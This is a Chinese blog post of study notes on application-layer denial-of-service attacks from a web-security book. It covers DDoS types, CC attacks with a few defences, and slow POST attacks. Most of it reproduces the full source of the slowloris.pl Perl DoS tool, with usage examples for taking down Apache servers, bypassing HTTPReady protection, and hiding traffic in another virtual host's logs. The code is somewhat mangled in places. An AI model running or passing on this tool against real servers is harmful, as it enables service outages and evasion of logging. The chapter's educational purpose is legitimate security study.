《白帽子講WEB安全》學習筆記之第13章應用層拒絕服務攻擊

科技小能手發表於2017-11-12
Web筆記

第13章 應用層拒絕服務攻擊

13.1 ddos簡介

DDoS攻擊通過大量合法的請求佔用大量網路資源，以達到癱瘓網路的目的。這種攻擊方式可分為以下幾種：

q  通過使網路過載來干擾甚至阻斷正常的網路通訊；

q  通過向伺服器提交大量請求，使伺服器超負荷；

q  阻斷某一使用者訪問伺服器；

q  阻斷某服務與特定系統或個人的通訊。

IP Spoofing

IP欺騙攻擊是一種黑客通過向服務端傳送虛假的包以欺騙伺服器的做法。具體說，就是將包中的源IP地址設定為不存在或不合法的值。伺服器一旦接受到該包便會返回接受請求包，但實際上這個包永遠返回不到來源處的計算機。這種做法使伺服器必需開啟自己的監聽埠不斷等待，也就浪費了系統各方面的資源。

LAND attack

這種攻擊方式與SYNfloods類似，不過在LANDattack攻擊包中的原地址和目標地址都是攻擊物件的IP。這種攻擊會導致被攻擊的機器死迴圈，最終耗盡資源而當機。

ICMP floods

ICMPfloods是通過向未良好設定的路由器傳送廣播資訊佔用系統資源的做法。

Application

與前面敘說的攻擊方式不同，Applicationlevel floods主要是針對應用軟體層的，也就是高於OSI的。它同樣是以大量消耗系統資源為目的，通過向IIS這樣的網路服務程式提出無節制的資源申請來迫害正常的網路服務。

受到DDOS攻擊特徵：

q  被攻擊主機上有大量等待的TCP連線；

q  網路中充斥著大量的無用的資料包；

q  源地址為假 製造高流量無用資料，造成網路擁塞，使受害主機無法正常和外界通訊；

q  利用受害主機提供的傳輸協議上的缺陷反覆高速的發出特定的服務請求，使主機無法處理所有正常請求；

q  嚴重時會造成系統當機。

13.2 應用層DDOS

13.2.1 CC攻擊

CC攻擊是對一些消耗資源較大的應用頁面不斷髮起正常的請求，以達到消耗服務端資源的目的。應用層DDOS多發生在分頁請求。

防禦應用層DDOS：

q  限制請求頻率

q  做好程式碼優化。

q  做好伺服器優化

q  對經常使用的資料進行快取

 

13.5 資源耗盡攻擊

13.5.1 slowloris攻擊

Slowloris攻擊則是利用Web Server的漏洞或設計缺陷，直接造成拒絕服務。

Slowloris是在2009年由著名Web安全專家RSnake提出的一種攻擊方法，其原理是以極低的速度往伺服器傳送HTTP請求。由於Web Server對於併發的連線數都有一定的上限，因此若是惡意地佔用住這些連線不釋放，那麼WebServer的所有連線都將被惡意連線佔用，從而無法接受新的請求，導致拒絕服務。

要保持住這個連線，RSnake構造了一個畸形的HTTP請求，準確地說，是一個不完整的HTTP請求。

GET / HTTP/1.1

       HOST: host

       User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;     .NET CLR 3.0.4506.2152; .NET CLR3.5.30729; MSOffice 12)

       Content-Length: 42

在正常的HTTP包頭中，是以兩個CLRF表示HTTP Headers部分結束的。

Content-Length: 42

由於Web Server只收到了一個
，因此將認為HTTP Headers部分沒有結束，並保持此連線不釋放，繼續等待完整的請求。此時客戶端再傳送任意HTTP頭，保持住連線即可。

“有限”的資源是WebServer的連線數。這是一個有上限的值，比如在Apache中這個值由MaxClients定義。如果惡意客戶端可以無限制地將連線數佔滿，就完成了對有限資源的惡意消耗，導致拒絕服務。

slowloris.pl程式碼：

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
  
$SIG{`PIPE`} = `IGNORE`;    #Ignore broken pipe errors
  
print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc.........cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::..........:::cccc:cooo
 .................. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...   .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..   .. ..  ..:...:cooc::cccccc:..... .........  .....:::::ccoocc
      .   .         .. ..::cccc:.::ccoocc:. .............  . ..:::.:::::::ccco
 Welcome toSlowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT
  
my ( $host, $port, $sendhost, $shost, $test,$version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand,$tcpto );
my $result = GetOptions(
   `shost=s`   => $shost,
   `dns=s`     => $host,
   `httpready` => $httpready,
   `num=i`     => $connections,
   `cache`     => $cache,
   `port=i`    => $port,
   `https`     => $ssl,
   `tcpto=i`   => $tcpto,
   `test`      => $test,
   `timeout=i` => $timeout,
   `version`   => $version,
);
  
if ($version) {
    print"Version 0.7
";
    exit;
}
  
unless ($host) {
    print"Usage:

perl $0 -dns [www.example.com] -options
"

;
    print"
Type `perldoc $0` for help with options.

"

;
    exit;
}
  
unless ($port) {
    $port =80;
    print"Defaulting to port 80.
";
}
  
unless ($tcpto) {
    $tcpto =5;
    print"Defaulting to a 5 second tcp connection timeout.
";
}
  
unless ($test) {
    unless($timeout) {
       $timeout = 100;
       print "Defaulting to a 100 second re-try timeout.
";
    }
    unless($connections) {
       $connections = 1000;
       print "Defaulting to 1000 connections.
";
    }
}
  
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print"Multithreading enabled.
";
   $usemultithreading = 1;
    usethreads;
    usethreads::shared;
}
else {
    print"No multithreading capabilites found!
";
    print "Slowloris will be slower thannormal as a result.
";
}
  
my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;
  
srand() if ($cache);
  
if ($shost) {
   $sendhost = $shost;
}
else {
   $sendhost = $host;
}
if ($httpready) {
    $method= "POST";
}
else {
    $method= "GET";
}
  
if ($test) {
    my@times = ( "2", "30", "90", "240","500" );
    my$totaltime = 0;
    foreach(@times) {
       $totaltime = $totaltime + $_;
    }
   $totaltime = $totaltime / 60;
    print"This test could take up to $totaltime minutes.
";
  
    my$delay   = 0;
    my$working = 0;
    my$sock;
  
    if($ssl) {
        if (
           $sock = new IO::Socket::SSL(
               PeerAddr => "$host",
               PeerPort => "$port",
               Timeout  => "$tcpto",
               Proto    => "tcp",
           )
          )
        {
           $working = 1;
        }
    }
    else {
        if (
           $sock = new IO::Socket::INET(
               PeerAddr => "$host",
               PeerPort => "$port",
               Timeout  => "$tcpto",
               Proto    => "tcp",
           )
          )
        {
           $working = 1;
        }
    }
    if($working) {
        if($cache) {
            $rand = "?" . int(rand(99999999999999) );
        }
        else{
           $rand = "";
        }
        my$primarypayload =
           "GET /$rand HTTP/1.1
"
          ."Host: $sendhost
"
          ."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)
"
          ."Content-Length: 42
";
        if (print $sock $primarypayload ) {
           print "Connection successful, now comes the waitinggame...
";
        }
        else{
           print
"That`s odd - I connected but couldn`t sendthe data to $host:$port.
";
           print "Is something wrong?
Dying.
";
           exit;
        }
    }
    else {
        print "Uhm... I can`t connect to$host:$port.
";
       print "Is something wrong?
Dying.
";
       exit;
    }
    for ( my$i = 0 ; $i <= $#times ; $i++ ) {
       print "Trying a $times[$i] second delay: 
";
       sleep( $times[$i] );
        if ( print $sock "X-a: b
" ){
           print " Worked.
";
           $delay = $times[$i];
        }
        else{
           if ( $SIG{__WARN__} ) {
               $delay = $times[ $i - 1 ];
               last;
           }
            print " Failed after $times[$i]seconds.
";
        }
    }
  
    if (print $sock "Connection: Close

"

 ) {
       print "Okay that`s enough time. Slowloris closed thesocket.
";
       print "Use $delay seconds for -timeout.
";
       exit;
    }
    else {
       print "Remote server closed socket.
";
       print "Use $delay seconds for -timeout.
";
       exit;
    }
    if ($delay < 166 ) {
       print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delayseconds) and it generally
takes between 200-500 threads for most servers andassuming any latency at
all...  youmight have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeoutseconds with $connections sockets:
";
  
    if($usemultithreading) {
       domultithreading($connections);
    }
    else {
       doconnections( $connections, $usemultithreading );
    }
}
  
sub doconnections {
    my ($num, $usemultithreading ) = @_;
    my (@first, @sock, @working );
    my$failedconnections = 0;
   $working[$_] = 0 foreach ( 1 .. $num );    #initializing
   $first[$_]   = 0 foreach ( 1 .. $num);    #initializing
    while(1) {
       $failedconnections = 0;
       print " Building sockets.
";
       foreach my $z ( 1 .. $num ) {
           if ( $working[$z] == 0 ) {
               if ($ssl) {
                   if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr =>"$host",
                            PeerPort =>"$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                       )
                      )
                   {
                        $working[$z] = 1;
                   }
                   else {
                        $working[$z] = 0;
                   }
               }
               else {
                    if (
                        $sock[$z] = newIO::Socket::INET(
                            PeerAddr =>"$host",
                            PeerPort =>"$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                   {
                        $working[$z] = 1;
                        $packetcount =$packetcount + 3;  #SYN, SYN+ACK, ACK
                   }
                   else {
                        $working[$z] = 0;
                   }
               }
               if ( $working[$z] == 1 ) {
                   if ($cache) {
                        $rand = "?" .int( rand(99999999999999) );
                   }
                    else {
                        $rand = "";
                   }
                   my $primarypayload =
                        "$method /$randHTTP/1.1
"
                      . "Host:$sendhost
"
                      . "User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729;MSOffice 12)
"
                      . "Content-Length:42
";
                   my $handle = $sock[$z];
                   if ($handle) {
                        print $handle"$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                           $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                   }
                   else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                   }
               }
               else {
                   $working[$z] = 0;
                   $failed++;
                   $failedconnections++;
               }
           }
        }
       print " Sending data.
";
       foreach my $z ( 1 .. $num ) {
           if ( $working[$z] == 1 ) {
               if ( $sock[$z] ) {
                   my $handle = $sock[$z];
                   if ( print $handle "X-a: b
" ) {
                        $working[$z] = 1;
                        $packetcount++;
                   }
                   else {
                       $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                   }
               }
               else {
                   $working[$z] = 0;
                    #debugging info
                   $failed++;
                   $failedconnections++;
               }
           }
        }
       print
"Current stats: Slowloris has now sent$packetcount packets successfully.
This thread now sleeping for $timeoutseconds...

"

;
       sleep($timeout);
    }
}
  
sub domultithreading {
    my($num) = @_;
    my@thrs;
    my$i                    = 0;
    my$connectionsperthread = 50;
    while ($i < $num ) {
       $thrs[$i] =
         threads->create( &doconnections, $connectionsperthread, 1 );
        $i+= $connectionsperthread;
    }
    my@threadslist = threads->list();
    while ($#threadslist > 0 ) {
       $failed = 0;
    }
}
  
__END__
  
=head1 TITLE
  
Slowloris
  
=head1 VERSION
  
Version 0.7 Beta
  
=head1 DATE
  
06/17/2009
  
=head1 AUTHOR
  
RSnake <h@ckers.org> with threading fromJohn Kinsella
  
=head1 ABSTRACT
  
Slowloris both helps identify the timeout windowsof a HTTP server or Proxy server, can bypass httpready protection andultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing theserver to come back at any time (once the program is killed), and not spammingthe logs excessively.  It also keeps theload nice and low on the target server, so other vital processes don`t dieunexpectedly, or cause alarm to anyone who is logged into the server for otherreasons.
  
=head1 AFFECTS
  
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer,others...?
  
=head1 NOT AFFECTED
  
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid,others...?
  
=head1 DESCRIPTION
  
Slowloris is designed so that a single machine(probably a Linux/UNIX machine since Windows appears to limit how many socketsyou can have open at any given time) can easily tie up a typical web server orproxy server by locking up all of it`s threads as they patiently wait for moredata.  Some servers may have a smallertolerance for timeouts than others, but Slowloris can compensate for that bycustomizing the timeouts.  There is anadded function to help you get started with finding the right sized timeouts aswell.
  
As a side note, Slowloris does not consume a lotof resources so modern operating systems don`t have a need to start shuttingdown sockets when they come under attack, which actually in turn makesSlowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent ofa SYN flood.
  
=head2 Testing
  
If the timeouts are completely unknown, Slowloriscomes with a mode to help you get started in your testing:
  
=head3 Testing Example:
  
./slowloris.pl -dns www.example.com -port 80 -test
  
This won`t give you a perfect number, but itshould give you a pretty good guess as to where to shoot for.  If you really must know the exact number, youmay want to mess with the @times array (although I wouldn`t suggest that unlessyou know what you`re doing).
  
=head2 HTTP DoS
  
Once you find a timeout window, you can tuneSlowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds,but the the connection is fairly latent you may want to make the timeout window2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance,tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you willconsume all the available resources as other sockets that are in use becomeavailable - this would be solved by threading, but that`s for a futurerevision.  The closer you can get to theexact number of sockets, the better, because that will reduce the amount oftries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it`ssuccessful or not though.
  
=head3 HTTP DoS Example:
  
./slowloris.pl -dns www.example.com -port 80-timeout 2000 -num 500 -tcpto 5
  
=head2 HTTPReady Bypass
  
HTTPReady only follows certain rules so with aswitch Slowloris can bypass HTTPReady by sending the attack as a POST verses aGET or HEAD request with the -httpready switch.
  
=head3 HTTPReady Bypass Example
  
./slowloris.pl -dns www.example.com -port 80-timeout 2000 -num 500 -tcpto 5 -httpready
  
=head2 Stealth Host DoS
  
If you know the server has multiple webserversrunning on it in virtual hosts, you can send the attack to a seperate virtualhost using the -shost variable.  This waythe logs that are created will go to a different virtual host log file, butonly if they are kept separately.
  
=head3 Stealth Host DoS Example:
  
./slowloris.pl -dns www.example.com -port 80-timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
  
=head2 HTTPS DoS
  
Slowloris does support SSL/TLS on an experimentalbasis with the -https switch.  Theusefulness of this particular option has not been thoroughly tested, and infact has not proved to be particularly effective in the very few tests Iperformed during the early phases of development.  Your mileage may vary.
  
=head3 HTTPS DoS Example:
  
./slowloris.pl -dns www.example.com -port 443-timeout 30 -num 500 -https
  
=head2 HTTP Cache
  
Slowloris does support cache avoidance on anexperimental basis with the -cache switch. Some caching servers may look at the request path part of the header,but by sending different requests each time you can abuse more resources.  The usefulness of this particular option hasnot been thoroughly tested.  Your mileagemay vary.
  
=head3 HTTP Cache Example:
  
./slowloris.pl -dns www.example.com -port 80-timeout 30 -num 500 -cache
  
=head1 Issues
  
Slowloris is known to not work on several serversfound in the NOT AFFECTED section above and through Netscalar devices, in it`scurrent incarnation.  They may be waysaround this, but not in this version at this time.  Most likely most anti-DDoS and load balancerswon`t be thwarted by Slowloris, unless Slowloris is extremely distrubted,although only Netscalar has been tested.
  
Slowloris isn`t completely quiet either, becauseit can`t be.  Firstly, it does send outquite a few packets (although far far less than a typical GET requestflooder).  So it`s not invisible if thetraffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the logfiles - although you may have trouble taking down a larger site with just onemachine, depending on their architecture.
  
For some reason Slowloris works way better if runfrom a *Nix box than from Windows.  Iwould guess that it`s probably to do with the fact that Windows limits theamount of open sockets you can have at once to a fairly small number.  If you find that you can`t open any moreports than ~130 or so on any server you test - you`re probably running intothis "feature" of modern operating systems.  Either way, this program seems to work bestif run from FreeBSD. 
  
Once you stop the DoS all the sockets willnaturally close with a flurry of RST and FIN packets, at which time the webserver or proxy server will write to it`s logs with a lot of 400 (Bad Request)errors.  So while the sockets remainopen, you won`t be in the logs, but once the sockets close you`ll have quite afew entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs atthat point - although the DoS will be over by that point too.
  
=head1 What is a slow loris?
  
What exactly is a slow loris?  It`s an extremely cute but endangered mammalthat happens to also be poisonous.  Checkthis out:
  
http://www.youtube.com/watch?v=rLdQ3UhLoD4

 

拒絕服務攻擊的本質就是對有限資源的無限制濫用。

13.5.2 http post dos

原理：

針對任意HTTPServer，建立一個連線，指定一個比較大的content-length，然後以很低的速度發包，比如10-100s發一個位元組，hold住這個連線不斷開。如果客戶端持續建立這樣的連線，那麼伺服器上可用的連線將很快被佔滿，從而導致DOS.

參考：http://www.unclejoey.com/tag/http-post/

13.5.3 server limit dos

DDOS除了看到服務端的DDOS以外還需要注意客戶端的DDOS，這種情況一般是通過Cookie來實現的。

 

本文轉自 夢朝思夕 51CTO部落格，原文連結:http://blog.51cto.com/qiangmzsx/1859563


相關文章